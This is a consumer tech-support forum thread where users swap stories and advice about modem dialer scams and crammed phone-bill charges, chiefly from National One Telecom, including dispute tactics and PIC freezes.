I wish we had the name of the place where the call was made and complain to them but all we have on the telephone bill is UNTD KINGD, XX and 044-127-7770, the call was exactly 5mins long, made on march 30 at 10:24 pm.
if i can get some advice i will really appreciate it.



QLeaping said:


> Hey MaryMason,
> 
> Be sure you read what a lot of us have done. You certainly want to report these idiots to all the agencies we have discussed in earlier posts.
> 
> You also want to contact your local phone carrier. Mine is Qwest and have them back bill USBI for an "unauthorized third party billing issue". USBI will have to re-bill you themselves if they want to collect. This way it will not affect your local phone credit. Also, if you think you need to file another dispute, be sure to send it "delivery confirmation" or "certified" so the jokers have to sign for it and you can verify that they got it. If you notice on the back of the National One bill, you are supposed to hear from them within 40 days of them receiving your dispute. That is why if you know when they received it, they can't say they never got it, etc. I also copied the dispute letter and the bill and mailed it to the Dallas address where the bills are to be paid. My letter was very threatening so that is probably why I haven't heard from them or received a second late bill or anything.
> 
> Whatever you do - don't pay. Between MemphisMark and his ABC connections and my government connections and other folks on this forum doing their own investigative research, we are very close to exposing these rats for what they are. When the agencies I reported them to research my complaint and sees how the website that was referenced was supposedly "free" never comes up with a disclaimer that you will be charged and then you are charged - this could turn into a huge deal when they realize that a lot of different scams are involved together - from the "free" websites to the UK phone numbers to USBI/Tellis etc.
> 
> We really don't think that they are actually reporting people to the real credit bureaus. Keep filing your dispute - send them ten if you have to. Also be sure you tell them that you are reporting them to attorney general in your state and the BBB and the FBI, etc. Once you have reported them, it only helps your case. I'm hoping that someone is looking into a class action suit against these jokers!!!!
> 
> Hope this helps.
> 
> QLeaping


----------



## ~Candy~

You need to post a thread to the security forums with a copy of a hijack this log from the problem computer. I would try to keep the modem unplugged as much as possible until you have the problem fixed.

Regarding the bill, call your phone company and start screaming.


----------



## guitarelf

Have received several emails headed: "Unknown sender...Interscan NT virus..." I have not opened any of them, I deleted them as spam. Is the NT anything to do with National Telecom? I live in UK.


----------



## kiwiguy

guitarelf said:


> Have received several emails headed: "Unknown sender...Interscan NT virus..." I have not opened any of them, I deleted them as spam. Is the NT anything to do with National Telecom? I live in UK.


No, nothing to do with it.


----------



## guitarelf

Thanks for the reply, kiwiguy, that puts my mind at rest.


----------



## Dru2000D

If the call is made to the UK and is a premium rate dialler, you can check to see if the number is under investigation. Can you post the whole number for me and I'll see if theres a way you can claim the money back? The diallers are usually linked to a company called Opera Telecom etc. We have a regulatory body over here in the UK for PRS numbers.


----------



## guitarelf

Thanks for the helpful reply Dru, sorry my reply is late, been away in the Carolinas. I don't have the number because I reported all the emails as spam. They haven't returned, so AOL spam blocker is obviously working well.


----------



## jrom727

It is a scam!!!

I was billed by OAN Services Inc. and Telseven LLC thru SBC for bogus Directory Assistance calls to Nevada. I called Telseven and was unable to get a real person on the line; I left a message. I called OAN Services Inc. I talked to service representative. I disputed the charges and she said that the $11.67 charges would be returned in four billing dates. I told her that was unacceptable and hung up. I then called SBC and explained my previous calls and told them that I had not placed these calls and that OAN Services Inc. and Telseven LLC offered to credit me within four billing dates which I was dissatisfied with. SBC said that they would credit my account within the next billing date which I was satisfied with. I later found out thru the Internet that these two companies are running a scam throughout the U.S. I filed a complaint with FCC, California Public Utility Commission and California State Attorney General. However, I have not heard back from anyone as of this time.
---------

I had a company called OAN Services charge my phone bill several times for miscellaneous charges. These were for another company called ACCUTEL which is for another company called Cable & Wireless. Each time I filled out a small claims action form for $3,000.00 for cramming and or slamming and faxed it to my local phone service, OAN Service, ACCUTEL, and Cable & Wireless. The phone company always sends a letter that if I do not file suit in small claims court, they will take the charges off my phone bill and charge them back to OAN Services. So far I have never had to spend the $30.00 to actually file the suit. They know that an attorney will cost more for one hour than what it would take to defend themselves in court. Plus they probably would lose and owe me $3,000.00

Jerry Brandt Owner of Pro-Tel Communications, a wholesale long distance reseller.

----------------

I don't know if this is fraud, but here is my experience with OAN. My son called collect from Los Angeles. Not questioning the operator as to which carrier she represented, I accepted. When my phone bill arrived I found that I was charged $6/minute or $18 for a 3 minute phone call!!! Now when a collect call comes in I ask who is the carrier before I accept the call.

Dorothy G.
--------------------

Just wanted to mention a company called OAN who also slammed us. We use "The Phone Company" That's the Telco's name for L.D calls. It only cost 9 cents per min. anytime and, even our calling cards carry the same rate. OAN has slammed us many times with fees running at just under $1.00 per min. Our local service provider has acknowledged this firm as being a problem and even reported that they continue to get beyond having blocks placed on your phone. The only good thing that came from this was 1. We only paid our 9 cents rate on one time <we got all the calls for free the next time> and, we "Meet" some really nice folks from our local line provider! Trick here is folks, no matter what, these folks cannot charge you more, in the end, than your normal plan would charge you. Good luck y'all.

Mark

------------------------

My friend is one of the unfortunate one...


----------



## guitarelf

Well, well,well, never thought my post would've generated so much interest. Thanks for taking the time & trouble. I've checked my phone bill, there are a small number of premium rate calls which I haven't made, total charge: £2.31. Because of the small charge, they are not itemised, so I need to take this further with BT.


----------



## guitarelf

BT were very helpful regarding my 11 mystery premium rate calls. My wife & I made all of them when we were voting for the winners of a UK tv programme called "Strictly Dance Fever"!!!! We'd forgotten all about it, so no scam as far as we're concerned.


----------



## Rockn

It seems National One is only targeting IE browsers for their dialer to install since received an error on their pages using FireFox. It would be nice to decompile their executable to see exactly what is going on with it. This is the most interesting thread I have seen in quite a while here. Google "National One Dialer" and TechGuy comes up number two on the list. Good stuff and I hope Mike never backs down on this one.


----------



## Dru2000D

There is a company in the UK that is doing exactly the same. It dials to an 020 number (London) but they bill you from your home phone and send it to you. The only thing that shows on your BT or other CPS service is this 020 number.

Problem with these companies is, even though it is blatantly a scam of sorts, ICSTIS and the likes of OFCOM will not touch the case for some reason or other. There might be a press release on the OFCOM website but I cant remember. I'm sure it was on there.

Because I work for a telephony service, I rang the number on the bill for their customer services on behalf of my customer. The response I had was damn right rude!


----------



## Dru2000D

Oh the company is called Telecom Billing Services or TBS. Do a search on TBS and you will find stuff that is remarkably similar to National Telecom.


----------



## ~Candy~

Rockn said:


> It seems National One is only targeting IE browsers for their dialer to install since received an error on their pages using FireFox. It would be nice to decompile their executable to see exactly what is going on with it. This is the most interesting thread I have seen in quite a while here. Google "National One Dialer" and TechGuy comes up number two on the list. Good stuff and I hope Mike never backs down on this one.


Rockn, were you able to do that? I did download it and install it awhile back (just to see what it would do when it couldn't find a modem ).


----------



## murdoch

before anyone puts too much reliance on the Rip Off Report endorsement of Alyon, or anyone else for that matter, take a look at the ugly truth about the rip-off report here:

bad-business-rip-off.com


----------



## ~Candy~

Hi and welcome. Are you associated with Federated? I think the fact that Alyon was barred from doing business in New Jersey speaks something.


----------



## ~Candy~

http://consumeraffairs.com/news04/2005/alyon_settles.html


----------



## barncat

I have not read every post here, but does anyone know of a legal precident or an ongoing class action against a phone company for supporting scam 900 # used by dialers? seems that any company collecting money for a scam company would be liable as a conspiritor....thanks


----------



## ~Candy~

Haven't heard of anything along those lines, but since most of them have a mile long disclosure statement before you hit the continue button (you do read those, don't you?  ) --- plus Alyon now makes you put the last 4 digits of the telephone number owner's social security number which can be verified at your local company 

It's getting tricky


----------



## barncat

I don't clk on anything that looks like a disclosure ...but, someone loaded a dialer and put a 900# inplace of my isp dialup just clking on links at websites...not sure what that is called other than hijacking...i am very careful...1st time in 5 years that something has gotten on my machine other than spyware... i see all the problems people are getting into with dialers so i was wondering if anyone has seen any legal
precedents on this matter....thanks















3


----------



## msbatt2

I have read this whole thread and its really scary. I'm not sure what a dialer is but I hope all my security and spy/adware keeps it at bay. What I want to ask is how vulnerable am I using DSL? I never have a modem dialing sound so I would never know until its to late. Is DSL just as vunerable to dialers as dial-up connection?


----------



## ~Candy~

You must have a way for the computer to make a call. If you don't, you shouldn't have to worry. I have heard stories where they bill the call that WAS made to a WRONG number, but that should be easy enough to prove otherwise


----------



## kiwiguy

To clarify the above, DSL cannot "dial" a phone number. 

You would have to have a separate dial-up modem installed and connected to be vulnerable.


----------



## ~Candy~

Thanks kiwiguy, that would be correct. I don't have a modem in my computer


----------



## msbatt2

I do have a modem, I once had a dial up account but now I use a dsl modem but I do have a back-up dial-up account from my dsl provider. I'm assuming since I don't use it I'm ok?


----------



## ~Candy~

Unplug the phone cord from the wall


----------



## Byteman

AcaCandy said:


> Unplug the phone cord from the wall


Also a good idea for lightning protection!  

Seeriously> I've seen several cases of strange phone bill charges (shock is a better term..) where people have no idea what happened> usually, a dialer program has wormed into the computer and actually connected by using your modem...here is an example:

[webquote=http://www.powerweb.net/antivirus.cfm]Vanuatu Phone Bill Charge Scam Warning
There have been several incidents recently involving our customers unknowingly being charged for calls to the Island of Vanuatu in the South Pacific. These calls are believed to be initialized from a special "Image Viewer" program downloaded from an adult website. When the program runs, it will dial and connect your computer directly to a phone number in Vanuatu in order to access the site's content. This long-distance modem connection could be made without the user ever knowing their computer is dialing. The customer will be responsible for these phone bill charges. Be cautious if a website requires you to download a separate "Image Viewer" program to access "Premium Content."

If you know that you are never going to call overseas, you can ask the phone company to block this feature from your phone line. There should be no charge (just like 900 blocking).[/webquote]

And yes....they do come from adult websites in almost all cases.

SpyBot Search and Destroy, a free ad/spyware remover program, detects lots of these dialers and fixes them. You should also have the phone company disable or block 900 type calls- it's free normally to block them.

One family here has been banned permanently from holding an AOL account> their one phone bill was $1200, which the company forgave....once, with a warning.

They have two overactive teenage boys. Luckily, cable service came along here....I spent over two days cleaning that comupter up> back before we had the good spyware remover tools we have now.


----------



## ~Candy~

They have two overactive teenage boys. Luckily, cable service came along here....*I spent over two days cleaning that comupter up*> back before we had the good spyware remover tools we have now.

You should have gone my route, FORMAT C:


----------



## bandit429

This has been a very interesting thread to follow....all the stories and people...and sheesh even mr telecom himself was here. What an un-American dude that was. (I hyphenated) I wish all problems were so visible.


----------



## ~Candy~

Hey sweetheart, where have you been hiding? You must be really busy with work? Miss you around here


----------



## bandit429

Right now Candy I m working to get the basics of puters (A formal class) For so long Ive helped without a formal education and understanding of basics. I just threw in a hard drive...infected it with whatever it was the person I was helping had and figured out how to get rid of it....you folks educated me at what I would consider top level education...only problem is I missed the bottom part. I have been concentrating on that now. And I have to say I have missed all of you people here too! Just studing so I can come back and help Rog or Bill when they need it. hahahahaha...all of you take care.


----------



## ~Candy~

You too. You have my email address, email me anytime


----------



## Alex Ethridge

Originally posted by NationalOne:


> our grand total number of billing error is about 1.5%


Having been in service businesses of one kind or another for over 30 years, an error rate in billing of 1.5% is highly unacceptable. If that is an accurate number, you are working in a loosely managed organization.

Think about this: For every month you send bills, you are causing aggravation for three out of every two hundred customers. After twelve billing cycles, (one year in most companies) you have aggravated or cheated 18% of your customers. That's almost one in five.

Totally unacceptable.

If that's your rate, you are in no position to take any pride in your work or the company for which you work. If I worked for a company that had that high a failure rate, I wouldn't be telling anyone where I worked.


----------



## ~Candy~

http://www.dallas.bbb.org/news_20040804.html
http://www.dallas.bbb.org/news_20041210.html

The most recent headlines I can find


----------



## Alex Ethridge

Ok, NationalOne, here's an unqualified statement:

National One is running a scam on American consumers.

Now, tell your legal eagles to sic.


----------



## kaligt55

I realize that these posts regarding telcom are outsated. However for anyone who is having a problem when they transfer companies and is scammed or duped you need to do this.

preferred carrier freeze otherwise known as pic freeze should always be done when you switch carriers. And also preferrably with someone else on the extension to verify that you have done this.

This will prevent any slamming (one company switching you to another without your approval. "PIC Freeze" is a Presubscribed Interexchange Carrier Freeze. It designates to your local exchange carrier (local phone company) that you, as a customer, do not want any Long Distance Carrier changes to your account unless you give verbal or written consent. 

I am almost certain that this can also be done with ISP's but you will have to look up pic freeze. there are also phone numbers on the internet that tell you how to have a pic freeze lifted.

Most people do not know about this until they have been drawn through the hurdles.
Save yourself some aggravation. There is a lot of info on the net if you type in pic freeze and also How to lift a pic freeze. But like anything else it used to be free. It still is to place the pic freeze, but i think it is ten dollars to have it lifted. There is even a form online that you can fill out instead of doing it by phone. Hope this bit of info goes a long way to helping some of you people out there who are living nightmares.


----------



## Edster51

Hi All,

To add a little to the last post (since I work in Billing IT for a major long distance carrier and local phone company. This of the one that started it all - something with Ma in it!)

Slamming is having your LD carrier changed without your permission. Call and have a PIC freeze set on your line. You probably don't really need a witness for that. The big companies, AT&T, Bell South, Verizon, and Qwest, are honest. Mistakes are made it customer service, but they don't try to rip you off.

Cramming is having additional charges added to your bill without your permission. It's really either signing you up for service you didn't request or that you never got. Again, complain to your local carrier. They'll help you.

There is so much competition in the phone industry these days that there is a real incentive for us to treat you right.

And someone did describe it right - if you unplug the phone line, you can't dial out of a modem!

Edster51


----------



## cjdreams2

I am in the process of getting a loan, so our Lender pulled our credit reports and discovered that National One Telecom was "collecting" $116 from my husband and I. I remembered dealing with this company two years ago when I received a phony bill which stated I had made some international call to view a pay-per-view site (which I had NOT done!). At that time, I made multiple attempts to contact the company, then resorted to informing the FCC, Better Business Bureau, and my state officials, and I thought it was taken care of because I stopped getting notices! LO AND BEHOLD-- there they are, STILL on my credit report TODAY!!! I called Collection Express , Inc. at 888-560-6340 and was told that ALL of these claims were being dropped now because of the fraudulent claims, and they contacted Equifax to clear our credit report. They said that this should take care of it once and for all, but I will be wary and will keep my out out for them! BEWARE! They are sneaky, patient, and persistent-- and they will cling to your credit report as long as they can! Think of the people out there who will not find out until YEARS later that they still "owe" this bill, and then they'll pay it just because it is easier to do that than to investigate the issue! They will keep making money off people for years! It's sick, but it's apparently happening all the time. Advocate for your rights and do not let it drop! It *IS* a scam!


----------



## grandma77

This is a very interesting thread. I am new at all this and learning a lot. I have a question. When I get off the internet, if I turn off my computer, would a dialer still be able to do its dirty work? Or does the computer need to be on to do it? I am a novice so I hope this isn't a stupid question.


----------



## ~Candy~

Hi and welcome.


If you are using dial up, the safest thing to do is DISCONNECT the phone cord to the computer.


----------



## grandma77

so you are saying that even if I am off the computer and shut it down they can still dial through...I don't have the dialer on my computer but this is terrible that someone can control your computer and you don't even have to be on it or it be on...Thanks for the info.


----------



## Alex Ethridge

No, your computer can do nothing while it is off; but, one must define "off". There was a time when one turned a computer off, it was truely off and it was a 'hard' off. There was an actual, physical break in the power circuit to the computer. One had to move that switch to complete the circuit on order to turn it on.

The problem is that isn't the case any more. The computer's switches are solid state and have no moving parts.

Let me define "turn on" as applies to a computer. First off, new computers are never completely off. They are always in a ready state that is more like a sleep or hibernation than it is an 'off' state. Depending on the computer and its BIOS settings and other hardware, a computer can be 'turned on' (more accurately, awakened) by tapping a key, having a connected phone line ring in, sensing activity on the network, moving a mouse, or even walking through the room where a sensitive mouse is connected causing the mouse to move imperceptively just enough to have the circuitry sense a change.

People call me quite a lot (I'm in the service business.) complaining that their computer "turns itself on" without anyone even being in the room. I have been able to trace this down sometimes to things like fax and TAD programs that sense a ring on the modem, kids running through the house and vibrating the table where the mouse sits, trucks passing in front of the house and hitting a bump that shakes the ground on which the house sits.

Now, let's get back to to the dialing-out problem. First off, any time there are new technologies and devices, criminals will find a way to use it for illegal purposes. With the advent of the internet, people are able to rob banks, drain individuals' bank accounts in the United States or any other country from the comfort of their own homes in Russia or China. Knowing this, it is your responsibility to police the use of your computer to prevent this kind of use.

As far as turning your computer off when you aren't using it goes, that isn't necessarily much protection. Your computer can be used by a criminal to rob a bank account while you are typing a letter to your mother. Surprise!

It is your responsibility to run a firewall, antispyware, antivirus and never give naive people (read: children) unrestricted access to the machine. Children are kidnapped, seriously harmed or killed regularly as a direct result of meeting someone initially on-line. Sexual advances are made by pedofiles, serial rapists and murderers at a rate of over a thousand a minute on the internet.

I consider companies like National One are run by criminals; but, If you have children, criminals like those who use National One for immoral purposes are the least of what you should be worrying about.

As a side note, some computers have an old-fashioned, *real* off switch on the back of the computer's power supply, usually near the top of the tower, where the power cord enters; but, unfortunately, many major brand companies have found they can save three cents on manufacturing cost by omitting this switch. Some turn off the power to their computers and all other components at a power strip or surge suppressor.


----------



## grandma77

Alex, I like your spunk. I also appreciate all the info. I almost always shut down my computer when I am not using it. I have just felt safer that way. I think I wil also unplug the telephone wire from now on. Can't be too safe. Sometimes it is a little annoying to have to go through startup a few times in a day but the peace of mind is worth it. I have a firewall and spyware so hopefully it will be enough to block most attempts to hurt me and when it is not...believe me I will be reaching out to all of you for help. 

All my children are grown but I have grandchildren. Some of their parents are good about parent controls and checking what the kids are doing. One is not..I saw some pictures that my granddaughter had posted and informed my son so he would look on her site or blog or whatever it is and he is making some changes in his house. Most of the 13, 14 year old girls have no idea what they are opening themselves up to and I really believe it is the parents responsibility to keep on top of this. Computers are wonderfully but they can wreck a persons life if they are not careful. 

Thanks again for the info. Grandma


----------



## homeboy357

I had the misfortune to find a $10 charge on my telephone account for an overseas premium account of which I had no knowledge. The telephone provider, Optus, had no sympathy, no help and only one response - pay the account! They were happy to tell me that I have been the victim of Modem Hijacking [of which I had never heard 'til then] but apart from that they couldn't care less. I found the so-called protection programme Stopitnow and downloaded the trial version - what an apt description - it was a trial from start to finish! Having installed this waste of space I entered the number of my ISP as the one number I should be able to dial and started. Every time I tried to connect to my dial-up ISP I got a warning that a charged number was being dialled and the connection was shut down. After about six attempts I decided to shut down stopitnow and was able to connect to my ISP. Having concluded what I was doing on the internet I stayed connected to my ISP and tested stopitnow by re-opening that programme. I immediately got the same warning and my connection was terminated! What a great programme! It works by ensuring that one's computer does not dial any premium numbers by ensuring that one's computer doesn't dial *any* numbers at all! I reckon the purveyors of this rubbish are ripping off those foolhardy enough to pay big bucks for a useless bit of junk!


----------



## technaught

SideOrder said:


> I could also explain to them that no one was in my house except my cats during the time of some of the calls.


You messed up right here, S/O...

They'll say that your cats made the calls, and that you're responsible


----------



## astrodaddy

And it looks like National One's website has been shut down! I tried clicking the link, and its nothing but a search page now. I was lucky enough not to be bamboozled by these people, and I hope these thieves are shut down for good, after reading all the negative posts!


----------

